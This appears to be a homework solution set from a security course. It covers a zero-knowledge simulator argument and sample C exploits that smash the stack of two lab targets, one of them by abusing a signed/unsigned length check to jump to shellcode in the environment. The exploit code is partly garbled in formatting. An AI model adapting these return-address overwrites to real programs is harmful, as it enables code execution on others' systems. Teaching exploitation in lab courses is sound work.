Solution

1. (5 pts.) Any questions
   Any constructive response is given full credit.

2. (20 pts.) Zero knowledge
   (a) Simulator:
      i. Pick a random \( R \) (mod \( N \)).
      ii. Let \( S = R^e \) (mod \( N \)).
      iii. Output the following transcript:
          step 1: Bob sends \( S \) to Alice
          step 2: Alice sends \( R \) to Bob
          step 3: Bob accepts
   The distribution on the output of Simulator is exactly the same as the distribution on the transcript obtained by running honest-Alice + honest-Bob together.

   (b) You need to give an example of a dishonest-Bob that cannot be simulated. Here is one example. Suppose Bob always sends the same value 2 to Alice. Alice will respond with \( 2^d \) (mod \( N \)). Note that this is a value the simulator cannot emulate: the simulator does not know \( d \), and the security of RSA signatures means that the simulator cannot forge a signature on arbitrary messages (i.e., cannot compute \( 2^d \) (mod \( N \)) without knowledge of \( d \)). Consequently, in this example Bob has learned something by interacting with Alice that he could not have learned on his own—namely, a valid signature on the message 2.

3. (75 pts.) Exploiting buffer overflows
   Here is a sample exploit against target1. The shellcode is placed in the environment (at location 0x08047fa4), and then the return address is overwritten with the value 0x08047fa4.

   ```c
   int main(void)
   {
     char *args[3], arg1[128];
     char *env[2], env0[128];

     memset(arg1, 'A', 80);
     *(unsigned int *)(arg1+76) = 0x08047fa4;
     arg1[80] = '\0';

     env[0] = env0; env[1] = NULL;
   }
   ```
`strcpy(env0, shellcode);

if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

    return 0;

Here is a sample exploit against target2. As before, the shellcode is placed in the environment. The input buffer is chosen to be of sufficient length that it will cause a signed/unsigned overflow, thereby bypassing the length check in target2, and then overwrite the return address with a pointer to the shellcode.

int main(void)
{
    char *args[3], arg1[1<<16];
    char *env[2], env0[128];

    memset(arg1, 'A', 1<<16);
    *(unsigned int *)(arg1+1052) = 0x08047fa4;
    arg1[32768] = '\0';

    env[0] = env0; env[1] = NULL;
    strcpy(env0, shellcode);

    if (0 > execve(TARGET, args, env))
        fprintf(stderr, "execve failed.\n");

    return 0;
}